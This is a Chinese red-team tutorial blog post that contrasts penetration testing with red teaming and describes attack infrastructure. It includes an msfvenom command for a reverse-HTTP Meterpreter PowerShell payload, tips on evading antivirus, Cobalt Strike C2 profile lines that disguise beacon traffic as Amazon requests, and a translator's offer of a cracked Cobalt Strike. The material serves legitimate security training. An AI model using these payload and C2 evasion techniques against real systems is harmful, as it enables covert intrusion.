OSCP教程(1) – 渗透测试团队与红队:定位差异与技术实践深度解析

渗透测试团队与红队

在我们深入了解红队背后的技术理念之前,需要说明一下我对渗透测试红队的理解。这两个词语经常被一起讨论,所以可能会让人感觉到有些混淆。接下来我会谈一下我是如何理解渗透测试团队和红队这两个不同的术语的。

渗透测试团队更多的是对网络、应用程序以及硬件等方面进行严格的、全方位的测试。如果你之前没接触过渗透测试,我建议你先阅读一下渗透测试执行标准 PTES——这是一个关于如何进行渗透评估的非常好的指导手册。简而言之,你会经历确定渗透测试范围,然后对其进行详细的信息收集,下一步的漏洞挖掘,漏洞利用,以及后渗透阶段和最终的完成渗透测试报告等所有工作。在传统的网络测试中,我们经常会用扫描器扫描漏洞,去寻找可利用的漏洞点和应用或者系统,可能会稍微的再进行一点深入的工作,去找到域管理员,最后写一份报告。这种类型的测试创造了一个漏洞挖掘、漏洞修补以及可控性的测试方法的整体模型。即使是在确定范围期间内,渗透测试也非常明确,首先测试评估期间是在一周或两周内,其次通常会向公司内部的安全团队进行结果公布,因为公司仍然需要渗透测试人员作为其安全软件开发周期(S-SDLC)不可或缺的组成部分。

现在,即使很多公司遵循安全软件开发生命周期,拥有漏洞防护程序,渗透测试人员,应急响应团队或应急程序,并且可能还有很多昂贵的安全防火墙,但他们仍然会有被入侵的威胁。如果我们看看最近爆出来的任何一个漏洞,我们会发现有很多大公司都会中招。而且我们可以在一些安全报告中看到一些在六个月以前就被入侵的案例。在此可以思考,如果所在公司遭遇了同样的攻击,我们能检测到吗?会用多长时间发现?被入侵以后我们可以从攻击中恢复吗?我们能准确的知道入侵者对公司信息资产做了什么吗?

这就是红队存在的意义。

红队的任务就是模仿入侵者的TTP(战术和技术手段)。红队的目标是测出公司应对入侵事件的真实状况,找到安全计划中的问题和员工对安全项目的理解中的不足,最终提高他们对安全计划的理解。

对于红队来说,它不像渗透测试那样有条不紊。因为我们是在模拟现实的入侵事件,所以每个测试过程都会有很大的差异。比如一些测试项目可能侧重于窃取员工个人的身份信息(PII) 或者信用卡,而有的测试项目可能侧重于进行域环境的接管。说到域管,我就是在这个地方看到了渗透测试和红队的最不一样之处。对于网络测试,我们喜欢通过获取域管理员(DA)权限以获得对域控制器(DC)的访问权。但对于红队来说,我们完全可以忽略域控制器(DC)。 其中一个原因是我们可以看到许多公司会在其分布式控制系统周围放置了大量的保护设施。它们可能采取程序白名单,流量监控,大量的IDS/IPS/HIPS规则,甚至更多防护措施。因为我们的任务是尽可能的不被发现,所以必须低调谨慎行事。我们遵循的另一条规则就是,几乎不会对内部网络进行大规模的漏洞扫描。你见过有多少入侵者会对内部网络进行大规模的扫描?几乎没有吧,为什么呢,因为漏洞扫描会对网络造成很明显的冲击,在现在技术发展现状下很容易被发现。

渗透测试和红队的另一个主要区别是时间范围,对于渗透测试,不出意外的话我们会很幸运的有两周的时间。然而,红队的测试短达两周,长达六个月。这是因为我们需要模拟真实的攻击、社会工程学、远控木马等等。最后要说的是,还有一个显著的区别是红队的测试结果是两种团队的共同努力。并非使用漏洞列表,红队的调查结果需要更多地针对蓝队团队流程,政策,工具和技能等方面。在你最终的报告中,你可能会有一些能用于模拟入侵的漏洞方面的发现,但更多的是需要发现应用程序中的漏洞。要永远记住,模拟入侵的结果是要针对制定的安全计划,而不是单纯的信息技术。作为红队人员,我们通常不太关注某次攻击的目的(更关注的是攻击手法)。相反,我们想从那些高级威胁组织的TTP(Tactics、Techniques & Procedures)中学到更多。

假定攻破练习

面对安全问题,企业的正确态度是从一开始就应该预设自己已经被攻破了。然而事实是,如今太多的公司认为通过一些所谓的安全配置或者年度渗透测试,它们是安全的。我们需要进入一种思维状态,我们总是蹲守,假设邪恶就潜伏在周围,我们需要时刻寻找异常。

这就是红队的活动与渗透测试有很大区别的地方。由于红队的活动重点是检测/给出措施而不是漏洞,所以我们可以做更多独特的评估。一种为客户提供巨大价值的评估利益被称为假定突破练习(assumed breach exercise)。在一个假定突破练习中,总会遇到一些 0-day。那么,客户端能否识别和减轻第二阶段和第三阶段步骤的影响呢?

在这些场景中,红队与公司内部的有限团队一起工作,在他们的服务器上执行一个定制的恶意软件 payload。这个payload 应该尝试以多种方式连接,确保绕过常见的AV,并允许额外的 payload 从内存中执行。一旦最初的payload 被执行,所有的乐趣就从这里开始了!

设定你的行动

这是红队行动中我最喜欢的一部分。在进攻你的第一个系统之前,你需要确定你的红队活动范围。在很多渗透测试中,你会得到一个目标,然后不断地尝试进入那个单一的系统。如果某件事情失败了,你就继续做下一件事。没有脚本,你通常非常专注这个网络。

在红队活动中,我们从几个目标开始。这些目标可以包括但不限于:

  • 最终的目标是什么?
  • 只是 APT 检测吗?
  • 是要在服务器上获取标志吗?
  • 是从数据库中获取数据吗?或者只是为了得到检测时效(TTD)指标?
  • 是否有我们想要复制的公开活动?
  • 你会用什么技巧?
  • 我们讨论过用 MITRE ATT&CK 矩阵,但是在每个类别中确切的技术是什么?

红金丝雀研究小组提供了每一种技术的详细信息。我强烈建议你花点时间来查看这些详细信息。客户希望你使用什么工具?是一些诸如 Metasploit、Cobalt Strike、DNS Cat 这样的商业攻击工具软件?还是自制的定制化工具?

一个好消息是被抓住也是评估的一部分。有一些入侵中我们会被抓4到5次,然后在4到5个不同的环境中被消灭。这确实向你的客户表明,他们的防御如他们预期的一样在起作用(或没有起作用)。在书的最后,我将提供一些报告示例,说明我们如何获取指标并报告这些数据。

设置你的外部服务器

我们使用许多不同的服务来建立我们的红队活动。在当今这个充斥着 VPS的世界里,在互联网上抵抗攻击者的机器不会超出你的预算。例如,很多国外选手通常使用 Digital Ocean 公司的 Droplets 计算服务或 AWS 的 Lightsail 服务器来配置他们的 VPS 服务器。使用这些服务的原因是它们通常成本很低(有时是免费的),可以选择 Ubuntu 系统的服务器,并且可以根据需要选择购买不同区域的服务器。最重要的是,它们非常容易设置。在几分钟内,你就可以设置并运行多个服务器的 Metasploit 和 Empire 服务。

在未来的交流中中,我们也会介绍 AWS 的 Lightsail 服务器,因为它易于设置、能够自动化服务,以及通常流向 AWS 的流量。在你成功创建了一个你喜欢的镜像后,你可以快速地将该镜像克隆到多个服务器,这使得构建现成的C2(Command and Control) box 非常容易。

同样,你应该确保遵守 VPS 提供者的服务条款,这样你就不会陷入任何问题。

下面是操作要点:

  • 登录https://lightsail.aws.amazon.com/
  • 创建一个实例
  • 强烈建议至少使用1gb内存
  • 硬盘大小一般不会有什么问题,可以随意选择
  • Linux/Unix
  • 操作系统只选 -> Ubuntu
  • 下载 Cert(证书)
  • chmod 600 cert(译者注:只有拥有者有读写权限)
  • ssh -i cert ubuntu@[ip]

搭建服务器的一个快速方法是集成 TrustedSec 公司的渗透测试框架 (PTF)。PTF 框架是一些脚本的合集,可以为你做大量的艰苦工作并为其他所有内容创建了一个框架。让我们通过一个快速示例来安装我们所有的漏洞利用模块,信息收集模块,后渗透利用模块,PowerShell 攻击模块和漏洞分析工具:

sudo su -
apt-get update
apt-get install python
git clone https://github.com/trustedsec/ptf /opt/ptf
cd /opt/ptf && ./ptf
use modules/exploitation/install_update_all
use modules/intelligence-gathering/install_update_all
use modules/post-exploitation/install_update_all
use modules/powershell/install_update_all
use modules/vulnerability-analysis/install_update_all
cd /pentest

cd /pentest下图显示了所有的可用模块,其中一些模块是我们自己安装的。如果我们查看我们的攻击者 VPS,就可以看到安装在我们的机器上的所有工具。如果我们想要启动 Metasploit,我们可以输入

:msfconsole

我仍然建议建立强大的 IPTables 规则。因为这将是你的攻击服务器,所以最好限制 SSH 身份验证可以从何处发起, Empire/Meterpreter/Cobalt Strike的 payload 可以从何处发起,以及你所支持的任何钓鱼页面。如果你还记得在2016年末,有人发现了未经身份验证的远程代码执行(RCE) ( https://blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-active-exploitation-reported/ )。你肯定不希望客户数据受到攻击服务器的损害。

我曾经看到一些红队在 AWS 中,使用 Docker 运行 Kali Linux (或者至少是 Metasploit) (参考: http://bit.ly/2qz2vN9 )。在我看来,虽然创建你自己的系统怎么样都可以。但是更好的选择是创建一个高效且可重复的流程来部署多台机器。使用 Lightsail 的 最大好处是一旦你将你的机器配置为你的首选项,你就可以对一台机器进行快照,并部署使用该镜像的多个全新实例。

如果你想让你的环境更上一层楼,看看 Coalfire 研究所的团队。他们构建了自定义模块来为你完成所有的艰苦工作和自动化。Red Baron 是 Terraform 的一组模块和自定义/第三方提供者,它可以为红队自动创建弹性、一次性、安全和灵活的基础设施。无论你想要构建一个钓鱼服务器,Cobalt Strike 基础设施,或创建 DNS C2 服务器,你都可以用 Terraform 做到这一切。查看 https://github.com/Coalfire-Research/Red-Baron 并查看所有不同的模块以便快速构建你自己的基础架构。

红队的核心工具

红队可能会使用很多工具,但是让我们来讨论些最核心的工具。请记住,作为一个红队成员,我们的目的不是破坏环境(虽然这是最有趣的),而是要复制现实世界的攻击,以查看客户是否受到保护,并可以在很短的时间内检测到攻击。在前面的章节中,我们了解了如何从其他 APT 组织那里复制攻击者的概要文件和工具集,所以让我们回顾一下一些最常见的红队工具。

Metasploit 框架

尽管 Metasploit 框架最初是从 2003 年开发的,但它现在仍然是一个非常棒的工具。这是由于最初的开发者 H.D. Moore 和非常活跃的社区为它提供持续支持。这个社区驱动的框架,似乎每天更新,拥有所有最新的公开漏洞的利用、后渗透利用模块、辅助模块等等。

对于红队项目,我们可能使用 Metasploit 通过MS17-010永恒之蓝漏洞危害内部系统,以获得我们的第一个内网shell,或者我们可能使用 Metasploit 为我们的社会工程攻击生成一个 Meterpreter payload。在后面的章节中,我将向你展示如何重新编译你的 Metasploit payload 并绕过杀毒软件和网络监控。

混淆 Meterpreter Payload

如果我们正在针对目标进行一些社工尝试,我们可能会使用 Word 或 Excel 文档作为我们的 payload(攻击载荷)的载体。 但是,一个潜在的问题是我们可能无法包含 Meterpreter 的 payload 的二进制文件或让目标机器从 Web下载我们的 payload,因为这些操作可能会触发目标机器中的杀毒软件的警报。 所以,这里给出一个简单的解决方案,使用 PowerShell 进行模糊处理:

msfvenom -payload windows/x64/meterpreter_reverse_http -format psh -out meterpreter-
64.ps1 LHOST=127.0.0.1

我们甚至可以将混淆提升到新的水平,并使用 Unicorn 等工具生成更多模糊的基于 PowerShell 的 Meterpreterpayload。

Cobalt Strike

Cobalt Strike 是迄今为止我最喜欢的红队模拟工具之一。什么是 Cobalt Strike 呢?它是一种用来后期持久渗透,横向移动,流量隐藏、数据窃取的工具。 Cobalt Strike 并没有直接的漏洞利用,也没有通过最新的 0-Day 漏洞来破坏系统。当你已经在服务器上执行了 CS 的恶意代码或者将 CS 用作网络钓鱼活动的一部分时,你就能感受到 CS的功能是多么广泛并且强大。 一旦你可以在机器上执行 Cobalt Strike 的 payload,它创建一个 Beacon(远控木马功能)连接回连到 C2 服务器(teamserver)。

新的 Cobalt Strike 许可证的费用为3500美元(单用户一年),所以它并不是一个便宜工具。 不过该软件有免费的限量试用版。(译者注:国内一般用破解版,需要的话请联系隐侠)

Cobalt Strike 基础设施

正如上文所述,在基础设施方面,我们希望设置这样一个可重用且高度灵活的环境。Cobalt Strike 支持重定向,当你的 Cobalt Strike 使用的 C2 域名被销毁了,你不需要创建并启用一个新的环境,只需要替换一个新的 C2 域名。通过更改 HTTP 主机的 header,CDN 将很轻松的的的地把流量传输回到正确的服务器。红队一直使用这种技术通过使用高信誉域名来隐藏 C2 服务器的流量。

尽管不是基础架构的一部分,但是我们还是应该要理解 beacon 是如何在内部环境中工作的。在操作安全方面,我们应该避免建立会被轻易发现并清除的持久连接。作为一名红队成员,我们必须假设我们的一些客户端是会被蓝队发现的。如果我们让所有的主机都与一个或两个 C2 服务器通信,蓝队很容易就可以把整个基础设施连根拔除。幸运的是,Cobalt Strike 支持内网主机之间使用基于 SMB 的 Beacon 来进行交互。这允许你让一台受感染的计算机与你的 C2 服务器进行正常且合适的 beacon 连接,并使内部网络上的所有其他的服务器通过 SMB 协议与最初受感染的主机进行通信。采用这种连接方式,当蓝队检测到一个二级系统有问题并进行取证分析,他们可能会无法识别与这次攻击相关的 C2 服务器域名。

Cobalt Strike 可以操纵你的 Beacon 通信,这对红队成员来说是一个非常有用的特性。使用自定义 C2 配置文件,你可以让所有来自受感染主机系统的流量看起来和普通流量无异。现在我们会发现越来越多的内网环境中会针对第7层网络应用层进行过滤。很多时候蓝队在这层中找寻那些网络通信中的异常流量,那么我们怎样才能让我们的C2通信变得如同正常的 Web 流量呢?这就是可定制 C2 配置文件发挥作用的地方。看看这个例子。阅读这个例子,你会看到一些显而易见的信息:

我们可以看出这将会产生带有URI路径的HTTP请求:

set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;

主机 header 设置为 Amazon:

header “Host” “www.amazon.com”;

甚至一些自定义服务器的 header 也从 C2 服务器发回:

header “x-amz-id-1” “THKUYEZKCKPGY5T42PZT”;
header “x-amz-id-2” “a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2t

现在很多红队已经在许多不同的活动中使用了这些配置文件,许多安全厂商已经给所有常见的自定义配置文件创建了指纹签名。为了解决这个问题,我们能做的是: 确保修改了配置文件中的所有静态字符串,确保更改了所有User-Agent 信息,使用真实的证书配置 SSL(不要使用 Cobalt Strike 默认的 SSL 证书),调整抖动率,并更改客户端的的 beacon 时间。 最后一个注意事项是确保通过 POST(http-post)命令进行通信,因为如果不这样做可能会导致使用自定义配置文件时出现很多问题。 如果你的配置文件注明了通过 http-get 进行通信,它仍然有效,但传大文件将一直被限制。 请记住,GET 请求通常限制在2048个字符以内。

(未完待续,敬请关注)

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

THE END
少侠喜欢就支持一下吧
点赞0 分享
包包的头像-隐侠安全客栈钻石会员
评论 抢沙发
头像
欢迎少侠留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容